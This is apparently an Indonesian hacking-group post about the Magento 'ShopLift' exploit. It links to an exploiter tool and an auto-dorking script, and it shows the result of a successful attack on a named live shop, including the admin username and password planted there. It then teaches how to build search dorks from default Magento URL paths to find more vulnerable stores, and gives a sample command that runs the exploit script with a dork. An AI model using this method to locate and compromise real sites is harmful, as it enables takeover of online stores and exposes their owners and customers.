OaOe

Magento ShopLift Exploit
YOGYAKARTA BLACK HAT feat YOGYAKARTA DARKNET ID

Download XAMPP : https://www.apachefriends.org/index.html
Exploiter : https://yk-idn.com/
Script Auto Dorking & Exploiter : http://pastebin.com/pv6uxS3M

Live Target :

==============[FathurFreakz]==============
Site Url : http://oyobox.com
Username : 1469886132
Password : ykidn
Login Admin : Success
Login Downloader : Failed
Total :
Permission	: Failed
Date Time : 30-07-2016 08:42:27



						ADA YANG MAU DITANYAKAN ???


Cara mencari dork, kita manfaatin url default dari magento
misal :
https://www.oyobox.com/customer/account/create/ <--- maka  yang kita jadiin dork adalah /customer/account/create/
https://www.oyobox.com/customer/account/login/ > /customer/account/login/
https://www.oyobox.com/checkout/cart/ > /checkout/cart/
"https://www.oyobox.com/skin/frontend/default/oyobox/favicon.ico > skin/frontend/default/

semacam itulah, pokonya kita cari link, juga bisa di tambahin nama product, misal
php.exe ../htdocs/x.php "/skin/frontend/ +dildo" .... dork harus didalam tanda petik !! "dork"

oh ya ada manual exploitnya ...
pertama buka yk-idn.com